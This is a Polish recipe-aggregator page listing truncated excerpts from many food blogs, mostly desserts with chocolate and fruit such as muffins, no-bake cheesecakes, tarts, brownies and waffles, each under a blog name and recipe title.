minimum tłuszczu i cukru. W roli tego ostatniego świetnie sprawdza się bardzo dojrzały banan. Babeczki są bardzo miękkie i wilgotne a kwaśne czarne porzeczki idealnie współgrają ze słodyczą białej czekolady. Kawałki płatków owsianych nadają muffinkom bardzo ciekawą strukturę. Idealne na drugie śniadanie!   Składniki na 12 babeczek: 190g płatków owsianych mały jogurt naturalny (190g) 1 jajko 1 bardzo dojrzały banan(...)łyżka cukru szczypta soli 50g białej czekolady 1 szklanka czarnych porzeczek 1 łyżeczka sody oczyszczonej  2 łyżki oleju Płatki zalewamy jogurtem i odstawiamy do namoczenia. Po kilku minutach dodajemy do płatków banana, żółtko i blendujemy. Masa nie musi być idealnie gładka, mogą w niej zostać kawałki płatków. W osobnym naczyniu ubijamy na sztywną pianę białko z solą. Pod koniec

Wrzosowa Polana
Torcikowe ciasto z owocami 179

żelatyny rozpuszczonej w minimalnej ilości wrzątku po szklance jagód i posiekanych brzoskwiń bez skórki PONCZ: 3/4 szklanki gorącej wody  2 łyżki cukru sok z 1/2 cytryny POLEWA: 1 czekolada mleczna 1 łyżka mleka siekane migdały do posypania Przygotowanie: BISZKOPT: Białka oddzielić od żółtek. Do białek dać szczyptę soli, ubić na sztywno. Do piany dodawać po łyżce cukru cały czas(...)koniec dodać mascarpone (powinno mieć temperaturę pokojową) oraz ostudzoną, płynną żelatynę. Zmiksować. PONCZ: Wszystkie składniki wymieszać. Smak ponczu powinien być słodko - kwaśny z przewagą kwaśnego. POLEWA: W rondelku rozpuścić czekoladę z mlekiem, przestudzić. SKŁADANIE: Na paterze ułożyć jeden blat, nasączyć ponczem. Wyłożyć 1/2 kremu, ułożyć na kremie brzoskwinie, lekko docisnąć. Przykryć drugim blatem, postąpić z nim podobnie, a na kremie

Cakes By Kejt
Mini serniczki kokosowe z borówką w czekoladowych pucharkach 227

Sernik na zimno w nowym wydaniu, podany w czekoladowych pucharkach, więc cały do zjedzenia, o lekko kokosowej nucie z borówką amerykańską okraszony wiórkami z czekolady, najsmaczniejszy dobrze schłodzony, nie jest sztywny ma lekką aksamitną konsystencję, szybki w przygotowaniu dla niedzielnych gości. Będą zachwyceni pomysłem podania. Składniki: 8  Czekoladowych pucharków 30 dag  twarogu chudego 25 dag  mascarpone(...)szklanka śmietanki 30% 2  listki żelatyny 2 łyżki wiórków kokosowych białych 2 łyżki tartej gorzkiej czekolady 80 ml likieru kokosowego 100 g cukru pudru 25 dag świeżej borówki Wiórki czekoladowe do posypania Sposób przygotowania: Czekoladowe pucharki na czas przygotowania serniczków włożyć do lodówki. Śmietankę kremówkę ubić na pianę, ale nie bardzo sztywną. Ser twarogowy i mascarpone połączyć ze sobą

Wanilia i Kardamon
Wegańskie lody - 2 smaki 170

kokosowego:   2 zamrożone banany 1 dojrzałe awokado 1 szklanka domowego mleka kokosowego 1-2 łyżki cukru pudru (opcjonalnie) ulubione dodatki np. 1 łyżka kakao, pokrojona na małe kawałki czekolada, likier miętowy etc. Banany obieramy i kroimy w mniejsze kawałki. Wkładamy do opakowania lub zamykanego woreczka i wkładamy do zamrażalnika na ok. 2-3 h lub całą noc. Jeśli zamrozicie(...)warto spróbować i dodać np. ulubione dodatki. Lody nie są bardzo słodkie, stąd dodatek cukru pudru. Śmiało możecie dosypać do nich łyżkę kakao czy dorzucić do nich np. pokruszoną czekoladę lub bezy, a także dodać kroplę likieru miętowego i stworzyć wyjątkową kompozycję smakową. Ogranicza Was tylko wyobraźnia. Lody przekładamy do pojemnika i mrozimy, przed podaniem wystawiamy na ok. 10 minut

Cooking Monster
PLACUSZKI NA JOGURCIE Z BANANAMI I CZEKOLADĄ! 134

chyba przez to, że jestem totalnym zmarzluchem i muszę zawsze rozgrzewać organizm, nawet latem. Dzisiaj zapraszam Was do wspólnego przygotowania pysznych, grubych i mięsistych placuszków z bananami i czekoladą. Ich zadaniem jest dodanie nam dużej dawki energii, tak abyśmy mieli siły na dość spory wysiłek fizyczny. Banany jak każdy wie to jeden z lepszych "zastrzyków" energetycznych, pod warunkiem, że użyjemy(...)bardzo dojrzałych (dlaczego pisałam już nie raz wcześniej), czekoladę użyłam gorzką, z dużą dawką magnezu. Placuszki wyszły przepyszne, polecam Wam! SKŁADNIKI: - 2 szklanki mąki pszennej typ 480 - 1 szklanka jogurtu greckiego - 4 jajka - 3 łyżki stopionego masła - 2 dojrzałe banany - 50 g posiekanej gorzkiej czekolady - ewentualnie 3 łyżki mleka - 1,5 łyżeczki proszku do pieczenia - 1 opakowanie cukru waniliowego

SMYKWKUCHNI
Drożdżowy precel z gorzką czekoladą 128

Wystarczy jeden precel z ciasta drożdżowego przygotować, a będzie można wiele osób  nim  poczęstować. Ciasto z tartymi migdałami zostało wyrobione  i kawałeczkami gorzkiej czekolady połączone. Nie jest trudne do przygotowania, a radość jest olbrzymia z jego zjadania. Składniki: 40 g świeżych drożdży, 500 g mąki pszennej, 3 żółtka, 100 g roztopionego masła, 100 g cukru białego(...)ciepłego mleka, 50 g tartych migdałów, szczypta soli, 100 g gorzkiej czekolady, ponadto: 1 łyżka kakao, mleko do posmarowania ciasta, mąka do podsypania. Przygotowanie: Drożdże łączymy z mlekiem, solą, łyżeczką cukru i 4 łyżkami mąki. Dokładnie mieszamy i pozostawiamy pod przykryciem w ciepłym miejscu na ok. 15 min, zaczyn drożdżowy będzie rósł. Do wyrośniętego zaczynu dodajemy pozostałą mąkę z tartymi

Moniki Smakołyki
Prince polo 188

Składniki: Biszkopt Masa śmietanowa: 600-700 ml śmietanki 30% lub 36% 2 łyżki cukru pudru 5 łyżeczek żelatyny 1 puszka brzoskwiń w syropie 1/2 tabliczki mlecznej czekolady 1/2 tabliczki gorzkiej czekolady 2 batony prince polo classic Dodatkowo: 1 puszka masy krówkowej (kajmak) 1 opakowanie migdałów w płatkach Sposób przygotowania: 1. Biszkopt upiec według przepisu . 2. Gotowy biszkopt przekroić(...)sztywno. Dodać cukier puder i rozpuszczoną (ostudzoną) w niewielkiej ilości wrzącej wody żelatynę. 4. Do ubitej śmietany dodać pokrojone w kostkę brzoskwinie, batony oraz podzieloną na małe kawałki czekoladę (może być też starta). Całość dokładnie wymieszać łyżką i wyłożyć na pierwszą część biszkoptu i przykryć drugą częścią. Wstawić do lodówki na ok. 1 godz. 5. Masę krówkową wyłożyć na wierzch

A Ty Smakuj Mnie
Torcik na zimno z galaretką, mascarpone i borówką amerykańską 140

smaczny :)). Do torcika wypiliśmy wino Monte Santi  Blackberry, które idealnie pasuje do deserów i dań na słodko :-))). Miłego dzionka :-)) Składniki na tortownicę 23 cm: 50 g gorzkiej czekolady  2 duże jaja 50 g masła 50 g cukru 50 g mąki pszennej szczypta soli 1/2 łyżeczki proszku do pieczenia Czekoladę roztapiamy w kąpieli wodnej. W misce ucieramy masło(...)cukrem (ma zrobić się jasna puszysta masa), do niej dodajemy roztopioną i przestudzoną czekoladę, miksujemy, następnie dodajemy po jednym żółtku i dalej miksujemy. Mąkę mieszamy z proszkiem do pieczenia i wsypujemy do reszty, miksujemy. Białka ubijamy ze szczyptą soli, dodajemy na samym końcu do ciasta i mieszamy. Ciasto przekładamy do tortownicy wyłożonej papierem do pieczenia. Pieczemy w 180 stopniach jakieś

kruche babeczki
Eklery 150

Składniki na lukier kawowy: 1 szklanka cukru pudru 2 łyżeczki kawy rozpuszczalnej 3-4 łyżki gorącej wody   Składniki na polewę czekoladową: 100 ml śmietanki (30%) 100 g czekolady (gorzkiej) 10 ml mleka   Wykonanie ciasta: Do garnka z grubym dnem wlałam wodę i dodałam masło. Po   zagotowaniu wsypałam przesianą mąkę i dobrze wymieszałam uzyskując gładkie, lśniące ciast. Przełożyłam(...)gęsty   należy dolać więcej wody, jeśli zbyt rzadki wystarczy   dodać cukru pudru.   Przygotowałam polewę czekoladową. Do rondelka wlałam śmietanę, dodałam mleko i  połamaną na kawałeczki czekoladę. Ustawiłam na większym rondelku z wrzącą wodą i   mieszałam do momentu kiedy    czekolada się rozpuściła   i wszystkie składniki połączyły. Trzeba uważać, żeby rondelek

Kuchnia u Krysi
Jagodowe naked cake (nagie ciasto). 103

które nie ma na sobie typowych dla tortów ozdób np. masy cukrowej, idealnego ganache, lukrów, figurek z cukru i tym podobnych. Biszkopt ozdabiają tylko owoce oprószone cukrem pudrem czy czekoladą, lub jest tylko biszkopt i krem (i nic więcej). Jest to bardzo praktyczne rozwiązanie dla mało doświadczonych w wypiekach osób - nie ukrywajmy, że aby zrobić masę cukrową i równo(...)ciasta nasączyć ponczem. Biszkopt przełożyć kremem. Najlepiej zostawić ciasto na kilka godzin w formie, dopiero wtedy  wyjąć i nałożyć owoce. Owoce: 1,5 szklanki borówki amerykańskiej 2 białe czekolady (200 g) 50 ml mleka Czekoladę połamać na małe kawałki i wraz z mlekiem rozpuścić w rondelku tworząc polewę. Polewa ma na celu utrzymanie owoców na swoim miejscu. Połową polewy

Poezja Smaków - blog kulinarny
Tort z czereśniami 169

octu jabłkowego -1,5 łyżeczki proszku do pieczenia -3/4 szklanki cukru -2 łyżeczki cukru wnilinowego -serek mascarpone -500ml śmietany 36% -3 łyżki cukru pudru -100g białej czekolady -500g czereśni Przygotowanie: 1. Ucieramy żółtka z cukrem, proszkiem do pieczenia i octem. 2. Ubijamy białka z cukrem wanilinowym i dodajmy wcześniej utarte żółtka. 3. Przesiewamy mąkę pszenną, ziemniaczaną(...)23cm. Przekładamy masę do formy i pieczemy w 180 stopniach C przez 30min. 5. Odstawiamy do wystygnięcia. 6. Ubijamy śmietanę na sztywno, dodajemy cukier puder i serek mascarpone. 7. Czekoladę należy rozpuścić w kąpieli wodnej. Zimną czekoladę dodać do kremu i delikatnie wymieszać. 8. Biszkopt należy podzielić na trzy blaty i przyłożyć kremem z czereśniami

Coś z niczego
Ciasteczka cytrynowe z serkiem ricotta 198

trochę ilość cukru w przepisie. Oryginalnie ciasteczka powinny być polane lukrem cytrynowym, ale jako, że nie przepadamy za lukrem i ograniczamy ilość spożywanego cukru zastąpiliśmy go polewą z gorzkiej czekolady. Też pasuje :) SKŁADNIKI: Na około 20 ciasteczek. 210 g mąki pszennej (np. tortowej) 0,5 łyżeczki proszku do pieczenia 0,5 łyżeczki soli 60 g miękkiego masła 170 g drobnego(...)cukru 1 jajko 120 g serka ricotta 2 łyżki soku z cytryny skórka starta z jednej cytryny 200 g gorzkiej czekolady SPOSÓB PRZYGOTOWANIA: 1. W misce mieszamy sypkie składniki: mąkę, proszek do pieczenia i sól. 2. W drugiej misce ubijamy cukier z masłem, na puszystą, gładką masę. Dodajemy jajko - ubijamy do połączenia składników. Dodajemy serek ricotta, sok i skórkę

W kuchni Katie
Tartaletki bez pieczenia z budyniem czekoladowym 180

Składniki: 130 g ciastek kruchych Brześć, 60 g  czekolady mlecznej lub deserowej, 60g masła, 1 szklanka mleka, 1/2 budyniu czekoladowego, 1 łyżeczka cukru wanilinowego,   owoce: morele, banany, winogrona bezpestkowe, czerwone porzeczki. Przygotowanie:  W rondelku rozpuszczamy masło z czekoladą. Ciasteczka rozbijamy tłuczkiem lub kruszymy blenderem. Dodajemy ciasteczka do masła i czekolady i mieszamy. Foremki od tartaletek smarujemy

Aga w kuchni
Sernik jagodowy z białą czekoladą 158

Asiula no zrób z nami coś pysznego coś co jeszcze nie robiłaś.No to poszłam na układ hihihihi zrobiłam serniczek na herbatnikach z dodatkiem żurawiny i polałam go białą czekolada z odrobiną śmietanki :) . Rodzinka zachwycona i  ja też bo był smaczny i wyjątkowy :) Składniki na pierwszą warstwę: serki homogenizowane 300 g waniliowe śmietana 30% 600 ml jagody 3 szklanki(...)łyżki żelatyna ( dałam jedno opakowanie na 2.5 litra wody miało 50 gr) Herbatniki Regionalne owsiane z żurawiną 62 g 3 opakowania Składniki na drugą warstwę: śmietana 30% 400 ml czekolada białą 100 g żelatyna 3 łyżeczki Krok 1 Żelatynę wsypałam do szklanki i zalałam wodą,tyle by zakryło żelatynę i dało się wymieszać.Rozpuściłam ją w mikrofali. Krok 2 Formę

Różowa kuchnia
Deser stracciatella z owocami leśnymi 211

SKŁADNIKI (na 4 porcje) 160 g dobrego musli 4 łyżeczki miodu 200 g śmietany kremówki (lub w wersji light greckiego jogurtu) 125 g serka mascarpone 1/3 tabliczki czekolady deserowej 2 garście malin 2 garście borówek (u mnie amerykańskich) (lub ulubionych/dostępnych owoców)  PRZYGOTOWANIE Płatki mieszamy z miodem i układamy na dnie pucharków/szklanek. Czekoladę ścieramy na tarce o grubych(...)oczkach. Schłodzoną kremówkę ubijamy na sztywno, dodajemy mascarpone i mieszamy (nie dodajemy tu żadnego cukru, gdyż spód z miodem da nam słodycz). Na koniec dodajemy gorzką czekoladę - mieszamy łyżką i przekładamy na płatki. Na całości rozkładamy owoce. Smacznego :)   Zapraszam na  fanpage na FB oraz  Instagram

Moje Kuchenne Rewelacje
SERNIK CZEKOLADOWY Z JAGODAMI BEZ PIECZENIA 177

łyżki cukru, 3 łyżki mąki, 1 łyżeczka proszku do pieczenia Masa serowa: 500 g sera z wiaderka na sernik, 4 łyżeczki żelatyny, 1-2 łyżki cukru pudru, 1 czekolada nadziewana "Złoty Orzech" Goplana Dodatkowo: galaretka owoce leśne, kuleczki czekoladowe, jagody, biszkopty podłużne, herbata do nasączenia WYKONANIE Brytfankę wykładamy papierem do pieczenia. Żółtka oddzielamy od białek. Białka ubijamy z cukrem, dodajemy(...)żółtka, następnie mąkę wymieszaną z proszkiem do pieczenia. Mieszamy, wylewamy do formy. Pieczemy ok. 15-20 min w 180 stopniach. Po wyjęciu z piekarnika studzimy, zdejmujemy papier. Masa serowa: Czekoladę rozpuszczamy nad kąpielą wodną. Żelatynę rozpuszczamy w 1/3 szkl. wrzątku. Serek miksujemy z cukrem, dodajemy ostudzoną czekoladę oraz żelatynę. Połowę masy wylewamy na biszkopt, na wierzchu układamy po kilka biszkptów

słodki bratek
Babeczki czekoladowe z solonymi orzechami. 229

samej masy można zrobić cudowne babeczki z solonymi orzechami i migdałami .Mniam. Składniki: na 10 babeczek 160 g mąki pszennej 175 ml śmietany 18 % 100 g masła 100 g czekolady gorzkiej 100 g cukru trzcinowego 2 jajka 2 pełne łyżki kakao 1 łyżeczka proszku do pieczenia 0,5 łyżeczki sody oczyszczonej Dodatkowo: solone orzechy migdały ,nasiona dyni Wszystkie składniki muszą(...)mieć temperaturę pokojową. Najpierw rozpuszczamy masło na niewielkim ogniu ,dodajemy czekoladę i mieszamy do rozpuszczenia już bez podgrzewania. Studzimy. Jajka roztrzepujemy z cukrem .Dodajemy śmietanę ,ostudzoną czekoladę z masłem ,mieszamy. W oddzielnej misce przesiewamy suche składniki,czyli – mąkę, kakao ,proszek i sodę .Dodajemy je w dwóch częściach do składników mokrych i krótko mieszamy łyżką.Tylko do połączenia się masy. Masę

Ladylaura.
DESER W STYLU TIRAMISU Z WIŚNIAMI 133

sztuk) 4 łyżeczki kawy rozpuszczalnej 300 ml gorącej wody 2 opakowania budyniu czekoladowego 250 g masła lub margaryny 1/2 litra mleka 2 łyżki syropu barmańskiego o smaku rumu z czekoladą np. firmy Victoria`s 250 g serka mascarpone 1/2 szklanki cukru kryształ 1 łyżka ciemnego kakao 30 - 40 dag wiśni Dodatkowo: 1/2 tabliczki gorzkiej czekolady Przygotowanie: Wiśnie - opłukać w zimnej(...)biszkopty wykładamy połowę kremu waniliowego. Wyrównać. Na krem wyłożyć wiśnie. Następnie na wiśniach układamy kolejną warstwę biszkoptów namoczonych w kawie i przykryć resztą masy. Całość posypujemy starta gorzka czekoladą. Na koniec wkładamy do lodówki na kilka godzin. Rada: zamiast kawy rozpuszczalnej można użyć kawy espresso, zaparzonej naturalnej kawy (należy odcedzić fusy) jeśli deser przeznaczony jest dla dzieci to oczywiście rezygnujemy

Ciastka - domowe słodkości
Delikatnie cytrynowe babeczki. Prosty przepis na babeczki. 166

prosta, tak samo jak prezentowany przepis, ale czasem tyle na prawdę wystarczy, by stworzyć coś pysznego i wywołać uśmiech na twarzy domowników. Spróbujcie i Wy. Pyszne chrupiące kuliki w czekoladzie mlecznej, które użyłam do dekoracji moich babeczek znajdziecie na stronie Cukieteria.pl . Polecam Wam ten sklep. Na stronie Cukieterii każdy miłośnik pięknych słodkości znajdzie coś dla siebie. Już niedługo na blogu(...)cytrynowej (kupnej) / można użyć świeżej startej skórki z cytryny 1 jajko 1 szklanka mleka 1/2 szklanki oleju sok z 1 cytryny cukier puder do dekoracji – chrupiące kulki w czekoladzie mlecznej od Cukieteria.pl Przygotowanie: Do dużej miski wsypujemy mąkę, skórkę cytrynową, proszek do pieczenia i cukier puder, całość mieszamy. Następnie do naszych suchych składników wlewamy mleko, olej i wbijamy całe

Słodkie okruszki
Brownie czekoladowe 231

cały trud pracy i zrobiłam sobie takie słodkie cudeńko. Smakowało wybornie :) Wiem, że to potężna bomba kaloryczna, ale raz na jakiś czas można zaszaleć :) Składniki: (na blaszkę 23x23cm) 400g czekolady (u mnie 2 gorzkie, mleczna i z orzechami) 100g mąki pszennej 100g cukru 3 jajka 200g masła szczypta soli 2 łyżeczki proszku do pieczenia łyżka soku malinowego lub malinowej konfitury(...)świeże maliny i cukier puder do dekoracji Przygotowanie: Masło rozpuścić z czekoladami, przestudzić. Jajka ubić z cukrem i solą na puszystą masę. Dodać powoli rozpuszczoną czekoladę z masłem, zmiksować na wysokich obrotach. Następnie dodać przesianą mąkę z proszkiem, ponownie zmiksować. Wmieszać również sok lub konfiturę - sok bardziej dokładnie, konfiturę mniej.  Wylać na blaszkę o wymiarach 23x23cm, wstawić do piekarnika

Cakes By Kejt
Tort śliwkowy z jeżynami i musem z białej czekolady 135

zanurzam się w jesień. Napawam się cudownymi, bogatymi w smaku owocami jesieni. Moje najulubieńsze to śliwki i jeżyny. Stały się bazą do pysznego tortu z musem z białej czekolady, na który serdecznie Was zapraszam. Przeglądając stare gazety natknęłam się na przepis, który bardzo mnie zaintrygował. Był to przepis na tort […] Artykuł Tort śliwkowy z jeżynami i musem z białej(...)czekolady pochodzi z serwisu Wiszniówka

Wiszniówka
Kukurydziane pieguski… 214

przyjaciółmi ale też po prostu aby zjesć małe co nie co bez przejmowania się zbyt dużą iloscią kalorii…   Składniki: 200g mąki kukurydzianej 1/2 tabliczki drobno pokrojonej gorzkiej czekolady 2 żółtka 2 łyżki oleju kokosowego 3 łyżki miodu   Sposób przygotowania: W misce mieszamy ze sobą wszystkie składniki prócz czekolady. Czekoladę drobno siekamy a następnie dodajemy do ciasta

madamekuchnia.wordpress.com
ROGALIKI FRANCUSKIE Z BIAŁĄ I CIEMNĄ CZEKOLADĄ- STARY PRZEPIS Z BLOGA 174

Uwielbiam kawę a do niej lubię zjeść smakowite ciasteczko np.z ciasta francuskiego z czekoladą mleczną i białą.Dlatego na szybkiego upichciłam coś slodkiego bo do kawy po turecku tylko to najbardziej mi smakuje.Teraz sobie siedzę na kanapie po turecku i popijam czarną ,smolistą kawę zagryzając kawałkiem rogalika francuskiego.A za oknem mróz spowija trawnik,a śnieg sobie prószy i prószy zmieniając(...)koloraturę drzew,na kanapie buszują koty ,lekko pomiałkując ,w tle dochodzi muzyka jezzowa.Uff jak jest mi błogo...!     1 op.ciasta francuskiego po pół opakowania czekolady białej i mlecznej 1 żółtko do posmarowania rogalików   ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Ciasto francuskie w rozmrażamy w temperaturze pokojowej.Rozwijamy ,kroimy w  kwadraty ,a z nich trójkąty.Na każdej połówce trójkąta układamy po kawałku czekolady tuż przy

Kocurkowe rozmyślania w kuchni Anielki
Tartaletki bez pieczenia z budyniem waniliowym i owocami 203

Robi je się naprawdę szybko, po godzinie są już schłodzone i można się nimi zajadać. Przepis na 4 babeczki. Składniki: 130 g ciasteczek owsianych lub herbatników, 60 g białej czekolady, 60g masła, 1 szklanka mleka, 1/2 budyniu waniliowego Dr. Oetker, 1 łyżeczka cukru wanilinowego Dr. Oetker ,   owoce: borówki amerykańskie, czerwone porzeczki, winogrona bezpestkowe. Przygotowanie:  W rondelku rozpuszczamy(...)masło z białą czekoladą. Ciasteczka rozbijamy tłuczkiem lub kruszymy blenderem. Dodajemy ciasteczka do masła i czekolady i mieszamy. Foremki od tartaletek smarujemy masłem i wypełniamy ciasteczkami, dokładnie dogniatając. Chowamy do lodówki. W tym czasie gotujemy połowę mleka, w drugiej połowie rozpuszczamy budyń z cukrem wanilinowym. Do gotującego się mleka wlewamy rozpuszczony budyń i mieszamy do zgęstnienia. Nakładamy ostudzony budyń

Aga w kuchni
Panna Cotta dla Pana Taty 117

spróbowałam zrobić go sama i wyszedł super smaczny- robię go bardzo często i eksperymentuję z różnymi połączeniami smaków. Dzisiaj wersja dla mojego taty, który lubi kawę a nader wszystko czekoladę. Do przygotowania deseru wykorzystuję filiżanki do kawy, myślę, że ich pojemność to koło 200 ml, ale i tak nigdy nie zalewam ich do pełna. Lubię dość kaloryczną wersję tego deseru(...)prościej- cukier wanilinowy, oraz 2-3 łyżki białego cukru. Przy pomocy tarki do parmezanu lub przystawki, na której zwykle ściera się surowe ziemniaki na pulpę- ścieram drobniutko gorzką czekoladę, około 1/3 tabliczki i dodaję do śmietanki. Gdy już czekolada się rozpuści dodaję odpowiednią ilość substancji żelującej (gdy instrukcja użycia na opakowaniu mówi o dodaniu 2-3 łyżeczek

Pichceniomania
Muffiny z owocami, kawałkami czekolady i kokosową kruszonką 221

ulewy wyszliśmy suchą stopą,a P. nie podołał kolejnej porcji słodkości (zapewne tylko dlatego,że wieczorem zrobiłam z podwójnej porcji) więc miałam możliwość zrobienia zdjęć rano. Muffinki z owocami,czekolada i kokosową kruszoną są idealne na deszczowy dzień i do zabrania ze sobą w pudełko na jacht.A ja...cóż - na pewien czas mam dość pieczenia muffin i deszczu utrudniającego poruszanie(...)oleju rzepakowego 2/3szklanki cukru brązowego 2 szklanki mąki (u mnie jedna szklanka mąki pszennej typ 500 i jedna szklanka mąki pszennej pełnozianistej) 1łyżeczka proszku do pieczenia 3/4 tabliczki ulubionej czekolady pokrojonej w drobną kostkę garść malin garść jagód b) kruszonka 2-3 łyżki kokosowych wiór 4 łyżki mąki 3 łyżki cukru 1-2 łyżki masła Wykonanie: a) muffiny 1. Jajko

Fiolka w kuchni
BAJECZNE TARTALETKI Z MALINAMI 124

dlaczego bajeczne? bo do ich zrobienia użyłam czekolady bajecznej z orzeszkami i wafelkami, która doskonale komponuje się z malinami ;) i smakują po prostu bajecznie!!!   Składniki na 6 tartaletek: Ciasto: 1 ¼ szkl. mąki krupczatki Młynomag , 150 g masła, 1/3 szkl. cukru, szczypta soli, 2 łyżeczki ciemnego kakao, 2 łyżki zimnej wody, 1 żółtko Krem: 300 ml śmietanki(...)czekolady bajecznej (nadziewana wafelkami i orzeszkami) Dodatkowo: maliny, czekoladowe perełki   WYKONANIE Ciasto : mieszamy suche składniki, dodajemy pokrojone zimne masło a na końcu wodę i żółtko, szybko zagniatamy. Wkładamy do zamrażalnika na 20 min. Formy o średnicy 10 cm smarujemy masłem i posypujemy bułką tartą. Ochłodzone ciasto wałkujemy, wycinamy 6 równych kółek, wylepiamy nim foremki, nakłuwamy dno. Pieczemy

słodki bratek
Makowiec Japoński II 130

kropel aromatu migdałowego bakalie: rodzynki,żurawina, daktyle, orzechy włoskie lub laskowe, ja dałam wszystkiego po trochu skórka pomarańczowa u mnie z  Lidl pół szklanki migdałów  Symbio gorzka czekolada i wiórki cytrynowe do dekoracji  Cukieteria Najpierw podgrzej mleko z masłem,cukrem i cukrem waniliowym, a następnie gorącym zalej wypłukany mak. Odstawiamy ,aż napęcznieje na jakieś pół godziny. Warto(...)wykładamy delikatnie masę makową. Pieczemy w nagrzanym do 180 stopni piekarniku, jakieś 45-55 minut. Upieczone ciasto możemy ozdobić na wierzchu polewą czekoladową ( rozpuść w kąpieli wodnej gorzką czekoladę) i posyp wiórkami cytrynowymi z czekolady. Moje są ze sklepu  Cukieteria Są niebywale pyszne i piękne

Z Kuchni Do Kuchni
Obłędnie czekoladowe ciasto w wersji fit, wegańskie, bezglutenowe 150

mleka kokosowego, w przeciwieństwie do innych niezdrowych słodyczy daje uczucie sytości na długo i nie da się go zjeść całego (podobno:) Idealne połączenie mleka  kokosowego i gorzkiej czekolady, a to wszystko na cieniutkim migdałowym cieście, po prostu przepyszne :) koniecznie wypróbujcie :)  Składniki (na kwadratową blachę *połowa tradycyjnej): Na spód: szklanka mąki migdałowej lub zmielonych płatków owsianych lub innej ulubionej(...)łyżeczki soli 1/4 łyżeczki sody  2 łyżki miodu 1/4 szklanki oleju kokosowego (w wersji niewegańskiej może być masło klarowane) Krem :  puszka mleczka kokosowego ok 140g gorzkiej czekolady 2-3 łyżki kakao owoce do dekoracji Przygotowanie : Wszystkie składniki na spód mieszamy w dużej misce i formujemy palcami masę, jeśli się nie trzyma dodajemy więcej oleju lub kilka łyżek wody

zdrowa vege kuchnia
Czekoladowe crumble z wiśniami 231

Czekolada z wiśniami, to jedno z najpyszniejszych słodko-kwaśnych połączeń, które dzisiaj zaserwowałam pod postacią crumble, czyli owoców pod kruszonką. Kruszonka słodka i mega chrupiąca- na samych płatkach owsianych (jeżeli wolicie mniej chrupać zamieńcie część płatków na mąkę pszenną) w czekoladowym wydaniu, pod którą kryją się kwaskowe, ciepłe i mięciutkie wiśnie... No i odrobina czereśni, aby delikatnie tę kwasowość poskromić(...)idealny! Korzystajcie, póki sezon na wiśnie w pełni :) 4 porcje: * wiśnie- 500 g * czereśnie- 200 g * masło- 100 g * płatki owsiane- 1 i 1/2 szklanki * cukier trzcinowy- 1/2 szklanki * czekolada gorzka posiekana- 1/3 szklanki * śmietanka 18%/30%/36%- do polania Wiśnie oraz czereśnie wydrylować i przełożyć do naczynia żaroodpornego. Do miski wsypać płatki owsiane, cukier oraz posiekaną czekoladę, dodać miękkie

Kraina Miodem Płynąca
SERNIK CZEKOLADOWY 194

cukier waniliowy 2 budynie waniliowe bez cukru  2 łyżki ciemnego kakao 3 łyżki dowolnego capuccino 1 paczka ciastek owsianych 250 g  150 g masla naturalnego 150 g czekolady deserowej 2 łyżki mleka  300 g swierzych malin do dekoracji migdały do posypania(...)nagrzanym do 170 *C, przez godzinę. Ciasto w mniejszej temperaturze się nie spiecze a upiecze. Ciasto studzimy przy uchylonych drzwiczkach, następnie chłodzimy w lodówce kilka godzin aż całkowicie stężeje. Czekoladę łamiemy na kawałki i rozpuszczamy z 2 łyżkami mleka, najlepiej w mikrofalówce.  Sernik wyciągamy z tortownicy, odrywamy folię aluminiową i polewamy rozpuszczoną czekoladą. i posypujemy malinami. Chłodzimy i ciasto

Kulinarne Fantazje Marioli
Gofry z bitą śmietaną i sosem wiśniowym 134

Gofry lubi chyba każdy łasuch, szczególnie letnią porą, te upiekłam z mąki orkiszowej i podałam z bitą śmietaną, sosem wiśniowym oraz startą czekoladą. Moi domownicy stwierdzili że smakują obłędnie. Składniki: Ciasto: 2 szklanki mąki orkiszowej jasnej 1/3 szklanki cukru 1/3 szklanki oleju 0,5 szklanki mleka 3/4 szklanki wody gazowanej 3 jaka 1 łyżka cukru waniliowego 1 płaska łyżeczka proszku(...)Masa śmietanowa: 0,5 litra śmietany kremówki 30% 2 łyżeczki cukru pudru 1 łyżeczka cukru waniliowego 1 opakowanie śmietan-fixu Dodatkowo: Sos do deserów wiśniowy Fanex 50 gram startej czekolady Sposób przygotowania: Do miski przesiewamy mąkę z proszkiem do pieczenia, dodajemy cukier i cukier waniliowy, wlewamy mleko, olej, wodę gazowanej i dodajemy żółtka, całość dokładnie miksujemy. Z białek ubijamy pianę

Bajeczna Kuchnia
Szybkie ciasto czekoladowe. 250

wymaga miksera, tylko trzepaczki i łyżki .Jest wilgotne, cudownie czekoladowe i puszyste.Polecam. Składniki:tortownica 20 cm 160 g mąki pszennej 175 ml śmietany 18 % 100 g masła 100 g czekolady gorzkiej 100 g cukru trzcinowego 2 jajka 2 pełne łyżki kakao 1 łyżeczka proszku do pieczenia 0,5 łyżeczki sody oczyszczonej Wszystkie składniki muszą mieć temperaturę pokojową. Najpierw rozpuszczamy masło(...)niewielkim ogniu ,dodajemy czekoladę i mieszamy do rozpuszczenia już bez podgrzewania. Studzimy. Jajka roztrzepujemy z cukrem .Dodajemy śmietanę ,ostudzoną czekoladę z masłem ,mieszamy. W oddzielnej misce przesiewamy suche składniki,czyli – mąkę, kakao ,proszek i sodę .Dodajemy je w dwóch częściach do składników mokrych i krótko mieszamy łyżką.Tylko do połączenia się masy. Masę przekładamy do tortownicy i pieczemy

Ladylaura.
BABECZKI Z NEKTARYNKAMI 119

pyszne co nieco do kawki     SKŁADNIKI 1/3 kostki masła, 1 szkl. mąki, 1/3 szkl. cukru, 1 łyżeczka proszku do pieczenia, 1 jajko, 1/3 tabliczki mlecznej czekolady, 2 łyżki wiórek kokosowych, 100 ml jogurtu naturalnego, 2 nektarynki  WYKONANIE Masło rozpuszczamy, studzimy. Nektarynki kroimy w mniejsze kawałki. Czekoladę drobno kroimy. W 1 misce mieszamy suche składniki, w 2 mokre(...)Płynne składniki mieszamy widelcem, dodajemy do suchych. Dodajemy czekoladę i owoce. Ciasto nakładamy do papilotek, pieczemy 20 min w 180 stopniach

słodki bratek
Puszysty Sernik Kokosowy 140

